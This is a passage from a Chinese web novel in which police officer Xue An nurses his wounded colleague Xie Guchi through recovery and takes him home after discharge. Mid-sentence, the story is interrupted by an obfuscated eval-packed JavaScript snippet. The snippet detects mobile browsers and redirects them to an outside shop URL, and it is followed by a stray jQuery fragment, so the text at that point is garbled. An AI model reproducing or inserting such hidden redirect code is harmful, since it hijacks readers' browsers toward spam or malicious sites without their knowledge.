接下来的几天，薛安只要一有空，都回来看望。
谢故迟的身体在以一种堪称顽强，却又异常缓慢的速度恢复着。高烧退去，伤口愈合良好，肺部的罗音一天天减轻。
医生说他体质底子好，加上年轻，恢复速度已经算很快了。
他依旧很少说话。除了回答医生护士必要的问询，用最简短的词汇，几乎不主动开口。大部分时间，他只是安静地躺着，看着天花板，或者侧头望着窗外那一小片被高楼切割的天空。眼神空旷，没有焦点，仿佛灵魂已经抽离，只留下一具沉默的躯壳在承受着伤痛。
薛安几乎成了病房里的“常住人口”。他向林队请了长假，理由充分——照顾重伤的同事兼案件关键相关人员。林队知道他和谢故迟的关系，二话没说就批了，只要求他随时保持通讯畅通，案情有重大进展需要他。
于是，7012病房成了薛安临时的“家”。他在病房角落支了张简易的行军床，晚上就睡在那里。
白天，他承包了所有能做的杂事：打水，热饭，盯着输液，记录出入量，帮谢故迟擦洗，扶着他去卫生间，在他因为伤口疼或呼吸不畅而眉头紧锁时，笨拙地试图讲些并不好笑的笑话，或者只是沉默地握住他冰凉的手。
谢故迟对他的照顾，既不拒绝，也不回应。像一个没有灵魂的玩偶，被动地接受着一切。只有在薛安提起奕含或者母亲时，他空洞的眼神里才会泛起一丝极其细微的涟漪，手指会无意识地蜷缩，但很快又恢复死寂。
这种沉默，比哭喊和崩溃更让薛安心焦。他宁愿谢故迟骂他，打他，把所有的痛苦和愤怒发泄出来。
这天下午，阳光很好。薛安拉开半边窗帘，让温暖的阳光洒进来。他打来热水，准备给谢故迟擦洗一下。几天下来，谢故迟似乎已经习惯了这项“例行公事”，虽然依旧闭着眼偏着头，但身体不再像最初那样僵硬抵触。
薛安拧干毛巾，动作熟练地解开谢故迟病号服最上面的两颗扣子。领口微微敞开，露出清瘦的锁骨和一片苍白的胸膛。
胸口缠绕的纱布已经拆掉，换成了大块的透气敷料，下面狰狞的缝合伤口被遮住，只边缘透出一点淡粉色的新肉。
他的目光在那处停留了一瞬，心脏像是被无形的手捏了一下，呼吸微微一滞。
他移开视线，用温热的毛巾轻轻擦拭谢故迟的脖颈和肩膀。毛巾擦过皮肤，留下温热湿润的痕迹。谢故迟的皮肤很白，是久不见阳光的那种苍白，能清晰地看到下面青色的血管。因为消瘦，肩胛骨的轮廓清晰得有些嶙峋。
擦到手臂时，薛安注意到谢故迟左手手腕内侧，有一道很淡的、几乎看不清的旧疤痕，像是很久以前划伤的。
他以前从未注意过。鬼使神差地，他的拇指指腹轻轻抚过那道几乎与肤色融为一体的浅痕。
一直闭着眼的谢故迟，身体几不可察地僵了一下，睫毛剧烈地颤动起来。
薛安立刻意识到自己可能越界了，连忙收回手，低声道：“对不起。”
谢故迟没有睁眼，也没有说话，只是胸膛的起伏略微急促了一些，泄露了他内心的不平静。过了好一会儿，他才几不可闻地、几不可察地，摇了摇头。幅度小到几乎看不见。
薛安的心猛地一跳。他看着谢故迟依旧紧闭双眼、却微微颤动的长睫，和那因为用力抿着而显得更加苍白的嘴唇，心里忽然涌起一股强烈的冲动。
他想问，这道疤是怎么回事？是意外，还是……他想问，你到底在想什么？你痛不痛？怕不怕？你能不能……别这样把我关在外面？
但他什么也没问。他只是重新拧了把毛巾，继续沉默地擦拭。
擦洗完毕，薛安帮谢故迟系好扣子，拉好被子。谢故迟依旧闭着眼，但呼吸似乎比刚才平稳了一些。
薛安端着水盆去倒水。回来时，看到谢故迟已经睁开了眼睛，正望着窗外。
夕阳的余晖给他苍白的侧脸镀上了一层柔和的金边，长长的睫毛在眼下投出扇形的阴影。那画面安静得有些虚幻，美好得不真实，却又透着深沉的孤寂。
薛安走到床边，顺着他的目光看向窗外。天色将晚，云霞被染成瑰丽的绛紫色。
“今天天气真好。”薛安没话找话，声音放得很轻，“等你再好点，我推你下去转转。楼下小花园里，桂花好像开了，挺香的。”
谢故迟的目光依旧看着窗外，没有任何表示。
薛安也不在意，自顾自地说下去：“队里今天传来消息，‘老拐’那条线上又挖出几个人，外省的，已经联系当地警方协查了。那些被救出来的孩子，大部分都找到家人了，有几个正在做DNA比对，很快也能回家。”他顿了顿，看向谢故迟，“老谢，你救了很多孩子，很多家庭。”
谢故迟的眼睫颤动了一下，依旧沉默。但薛安看到，他放在身侧的手指，收拢又松开。
他在听。
薛安心里一酸，继续说：“奕含今天给我发语音了，说在新朋友家玩得很开心，还问舅舅什么时候好起来。阿姨……阿姨今天精神好了点，喝了大半碗粥。我跟她说你恢复得很好，让她别担心。”
听到“奕含”和“阿姨”，谢故迟终于有了更明显的反应。他极其缓慢地转过头，看向薛安。
那双总是空洞的眼睛里，此刻清晰地映出了薛安的身影。
四目相对。
谢故迟的嘴唇动了动，似乎想说什么，但最终只是极其轻微地，翕动了一下，没有发出声音。
他看了薛安几秒，那眼神复杂难明，有感激，有沉重，有挥之不去的伤痛，或许还有一丝连他自己都未察觉的依赖。然后，他又缓缓转回头，重新看向窗外，闭上了眼睛。
但这一次，薛安清楚地看到，一滴透明的液体，从谢故迟紧闭的眼角，悄无声息地滑落，没入鬓角，消失不见。
那滴泪，像一颗烧红的炭，烫在了薛安的心上。
薛安僵在原地，心脏像是被一只无形的手狠狠攥住，又酸又疼，几乎无法呼吸。
他想伸手去擦掉那滴泪，想将床上这个看似平静、实则内里早已千疮百孔的人用力拥进怀里，告诉他“哭出来，哭出来就好”，告诉他“一切都会过去，有我在”。
但他什么也没做。他只是站在原地，看着那滴泪痕在谢故迟苍白的皮肤上迅速变干，留下一点几乎看不见的水迹。
他用力攥紧了拳头，指甲深深陷进掌心，用尖锐的疼痛提醒自己保持冷静。
他知道，谢故迟不需要怜悯，不需要过度的安慰。他需要的是时间和空间，来消化这灭顶的灾难，来重建内心的秩序。
而他薛安能做的，就是守在这里，像一块沉默的磐石，给他一个可以依靠、可以短暂卸下防备的港湾。
夜色渐浓，病房里的光线暗了下来。薛安没有开大灯，只拧亮了床头一盏光线柔和的小夜灯。
他走到行军床边坐下，看着谢故迟在昏暗光线下安静的睡颜。
老谢，我知道你很痛，很累，很怕。
没关系，慢慢来。
我会一直在这里。等你愿意开口，等你重新站起来，等你……再次成为那个让我仰望和信赖的谢故迟。
在此之前，所有的黑夜，我陪你一起等天亮。
薛安靠在冰冷的墙壁上，也闭上了眼睛。
在医院又住了近半个月，谢故迟的各项指标终于达到了出院标准。伤口愈合良好，肺部炎症基本吸收，虽然呼吸功能受损是永久性的，但日常活动只要不过度，已无大碍。剩下的，就是漫长的休养和功能锻炼。
出院这天，是个难得的秋高气爽的日子。阳光明亮却不灼人，天空湛蓝如洗。
薛安一大早就忙活开了。他先回自己住处简单收拾了一下——主要是把一些不必要的杂物归置好，给谢故迟腾出更宽敞的空间。
又去超市采购了一大堆生活用品、营养品和容易消化的食材，把冰箱塞得满满当当。确保一切妥当。
当他拎着大包小包、开着一辆从队里借来的、空间更大的SUV赶到医院时，谢故迟已经换下了病号服，穿上了自己的衣服——一件薛安给他带来的、浅灰色的羊绒开衫和深色休闲裤。
衣服穿在他身上显得有些空荡，越发衬得他身形清瘦单薄。他安静地坐在床沿，看着窗外，阳光给他苍白的侧脸镀上了一层浅淡的光晕，长长的睫毛垂下，遮住了眼底的情绪。
护士正在做最后的出院叮嘱，将一大袋药物和注意事项单递给薛安，事无巨细地交代着用药时间、复查日期、饮食禁忌、康复训练要点。薛安听得极其认真，不时点头，还用手机备忘录记下关键点。
“……最重要的是保持心情舒畅，避免劳累和感染。谢先生肺功能受损，一定要特别注意保暖，绝对不能感冒。康复训练要循序渐进，不能着急……”护士絮絮叨叨地说着，看了一眼沉默坐在一旁的谢故迟，又看了看薛安，眼里带着些同情和鼓励，“薛警官，辛苦你了。”
“不辛苦，应该的。”薛安接过药袋，笑了笑，那笑容里带着显而易见的疲惫，但眼神明亮。
办完所有手续，薛安推来轮椅——医生建议初期尽量减少谢故迟的体力消耗。
谢故迟看着轮椅，眉头几不可察地蹙了一下，嘴唇微微抿紧。他沉默了几秒，最终还是撑着床沿，自己慢慢站了起来。
薛安没有坚持，只是立刻上前一步，虚扶着他的手臂，以防他头晕或腿软。谢故迟的身体几不可察地僵了一下，但没有躲开，任由薛安的手稳稳地托着他的肘弯。
两人就这样，走出了病房，穿过弥漫着消毒水气味的走廊。阳光从走廊尽头的窗户洒进来，在地面上投下明亮的光斑。谢故迟似乎有些不适应这过于明亮的光线，微微眯了眯眼。
电梯下行，走出住院部大楼。秋日的阳光和微风扑面而来，带着草木干燥的清香和城市隐约的喧嚣。
谢故迟站在台阶上，仰起头，深深吸了一口气。冰凉的、带着自由气息的空气涌入肺叶，带来一阵轻微的刺痛和痒意，他忍不住低低咳嗽了两声。
薛安立刻紧张地拍抚他的后背：“慢点，别急。外面空气凉，先把口罩戴上。”说着，从口袋里掏出一个崭新的医用口罩。
谢故迟摆了摆手，示意不用。他调整了一下呼吸，阳光有些刺眼，让他有种恍如隔世的不真实感。
一个多月前，他也是站在这里，送别了姐姐，然后自己躺了进去。再出来时，已是物是人非，山河倾覆。
“走吧。”他低声说，声音依旧有些沙哑。
薛安点点头，扶着他小心地走下台阶，走到车边，拉开车门。SUV底盘高，上车有些费力。
薛安几乎是半抱着，将谢故迟扶上了副驾驶座，又细心地帮他调整好座椅角度，系好安全带。他的动作自然流畅，仿佛已经做过千百遍。
车子平稳地驶离医院，汇入车流。车厢里很安静，只有舒缓的轻音乐在流淌。谢故迟靠着椅背，目光投向窗外飞速倒退的街景。城市还是那个城市，热闹，忙碌，充满生机。但他的世界，已经天翻地覆。
薛安一边开车，一边用眼角的余光注意着谢故迟的状态。见他只是安静地看着窗外，脸色虽然依旧苍白，但呼吸还算平稳，心里稍稍松了口气。
他试着找话题：“饿不饿？家里我熬了山药排骨汤，还热着。回去先喝点汤，再吃点容易消化的。”
谢故迟没有回应，依旧看着窗外。
薛安也不在意，继续自说自话：“奕含听说你今天出院，可高兴了，画了幅画让我带给你。我放后座了，等会儿拿给你看。阿姨那边……我上午打过电话，护工说她今天精神不错，还问了你的情况。我跟她说你出院了，回家静养，她好像……放心了些。”
听到母亲和奕含，谢故迟的目光终于从窗外收了回来，落在自己交握在膝上的手上。手指无意识地相互摩挲着，指节因为用力而微微泛白。他依旧没有说话，但紧绷的肩膀似乎稍稍松懈了一点点。
车子驶入薛安所住的小区。停好车，薛安先下车，绕到副驾这边，拉开车门，伸手想扶谢故迟。
“我自己可以。”谢故迟低声说，避开薛安的手，自己撑着座椅，慢慢挪下车。动作依旧迟缓，但比在医院
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559268|204528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时有力了些。
薛安收回手，没坚持，只是紧紧跟在他身侧，虚虚地护着，看着他一步一步，缓慢而坚定地走向单元门，上楼。
用钥匙打开门，熟悉的气息扑面而来。房间里窗明几净，阳光透过阳台的落地窗洒满大半个客厅，暖洋洋的。空气里弥漫着淡淡的食物香气和阳光的味道，整洁，温馨，充满了生活气息，和医院那种冰冷的、程式化的环境截然不同。
谢故迟站在玄关，有一瞬间的恍惚。这里……是他受伤时暂住的地方。现在，他又回来了。以这样一种全然不同的、脆弱不堪的姿态。
“愣着干嘛？快进去，门口有风。”薛安从他身后轻轻推了推他的肩膀，力道很轻，带着不容拒绝的温和，“鞋在这儿，新的，软底，舒服。你穿这双。”
谢故迟低头，看到一双崭新的、浅灰色的棉质拖鞋，安静地放在他脚边。他沉默地换好鞋，走进客厅。
客厅的布置和他离开时差不多，只是沙发旁边多了一张舒适的躺椅，上面铺着厚厚的毛毯。茶几上摆着一个玻璃花瓶，里面插着几支新鲜的白色百合，散发着清雅的香气。
电视柜上，放着一个相框，里面似一个小孩子画的画——稚嫩的笔触，画着三个人，两大一小，手拉着手，站在彩虹和太阳下面。旁边用拼音歪歪扭扭地写着：“舅舅快点好起来，和我们一起。”
谢故迟的目光在那幅画上停留了很久，喉结上下滚动了一下。他别开脸，走到沙发边，慢慢坐下。柔软的沙发将他包裹，带来一种久违的、属于“家”的安心感，却也让他更加清晰地意识到自己身体的虚弱和内心的空洞。
薛安已经快步走进厨房，很快端着一碗热气腾腾、香气四溢的汤出来，放在谢故迟面前的茶几上：“先喝点汤，暖暖胃。小心烫。”
汤熬得奶白，上面飘着几点翠绿的葱花，看起来令人食指大动。但谢故迟只是看着，没有动。
“不饿？”薛安在他旁边坐下，拿起勺子，舀了一小勺，轻轻吹了吹，递到谢故迟唇边，动作自然得像做过无数遍，“多少喝点，你中午还没吃东西。医生说了，营养要跟上。”
谢故迟看着递到唇边的勺子，和薛安那双盛满关切和不容置疑的眼睛。他沉默了几秒，最终，微微张开嘴，就着薛安的手，将那一小勺温热的汤喝了下去。
薛安的眼睛弯了弯，继续一勺一勺，耐心地喂他。谢故迟没有再拒绝，只是安静地、机械地吞咽着。
他的目光垂着，看着碗里氤氲的热气，长长的睫毛在眼下投出浅浅的阴影，遮住了所有情绪。
一碗汤喝完，薛安又去盛了半碗清淡的粥，配着一点小菜。谢故迟也慢慢吃了下去。虽然吃得不多，但比起在医院时食不下咽的样子，已经好了太多。
吃完饭，薛安收拾了碗筷，又给谢故迟倒了杯温水，看着他吃了药。“累了吧？去床上躺会儿？还是在这儿晒晒太阳？”
谢故迟摇了摇头，目光落在阳台外明晃晃的阳光下。“坐会儿。”
“行，那你坐着，我去把东西归置一下。”薛安将那条厚厚的毛毯抖开，盖在谢故迟腿上，又把躺椅调整到一个更舒适的角度，让他可以半躺下休息。
做完这些，薛安才开始整理自己带回来的大包小包，将药物分门别类放好，把换洗衣物挂进衣柜，将生活用品摆放在顺手的位置。
谢故迟靠在躺椅里，身上盖着柔软的毛毯，阳光暖洋洋地照在身上。
这一切都很真实，很温暖。是他一个多月来，在冰冷的病房和绝望的深渊里，不曾拥有过的“平常”。
可是，心里那个巨大的、漆黑的空洞，却依旧在那里，呼呼地灌着冷风。
姐姐惨死的画面，母亲崩溃的哭泣，奕含懵懂依赖的眼神，自己胸口炸开的血花和濒死的窒息感……这些画面，并没有因为离开医院而消失，反而在这片安宁的背景下，显得更加清晰刺目。
他知道，身体的伤会愈合，但心里的伤，或许永远都好不了。而未来……一片模糊，沉重得让他喘不过气。
薛安收拾完东西，走过来，看到谢故迟闭着眼，眉头却微微蹙着，放在毛毯外的手无意识地攥紧了毯子边缘。
他在旁边的沙发坐下，没有打扰他，只是静静地陪着。阳光在两人之间移动，从谢故迟的膝头，慢慢爬上薛安的肩头。
不知过了多久，谢故迟忽然极轻地开口，声音沙哑，带着一丝不易察觉的颤抖：“奕含……以后怎么办？”
薛安立刻坐直身体，看向他。
“你放心，我都想好了。”薛安的声音很稳，“奕含还小，需要稳定的环境和陪伴。阿姨年纪大了，身体也不好，一个人带肯定吃力。我的想法是，如果你同意，让奕含暂时住在我这儿。这里离他学校近，我也方便接送照顾。周末或者假期，再带他去看阿姨，或者接阿姨过来住两天。等你身体养好了，再做更长远的打算。你看行吗？”
谢故迟睁开眼，看向薛安。那双总是平静无波的眼睛里，此刻翻涌着复杂的情绪——感激，沉重，愧疚，还有深深的无力和自我厌弃。
他张了张嘴，想说什么，最终却只是化作一声几不可闻的叹息，和一句低哑的：“……太麻烦你了。”
“不麻烦。”薛安立刻道，语气斩钉截铁，“奕含那孩子我喜欢，懂事。而且，老谢，我们之间，不说这个。”他顿了顿，看着谢故迟苍白的脸，声音放缓了些，带着一种前所未有的认真，“我知道你现在心里不好受，觉得什么都乱了，什么都扛不起。没关系，慢慢来。先把身体养好，别的，有我在。我不是在跟你客气，我是认真的。”
谢故迟怔怔地看着他，看着薛安眼中那不容错辨的坚定和……某种更深沉的东西。
那目光太烫，烫得他几乎想要躲开。
他垂下眼，避开薛安的注视，指尖无意识地摩挲着毛毯柔软的绒毛。良久，才几不可察地，点了一下头。幅度小到几乎看不见。
薛安的心，像被温水浸泡过，柔软而酸胀。他知道，要让谢故迟这样骄傲而内敛的人，接受如此彻底的帮助和介入，是多么艰难的一步。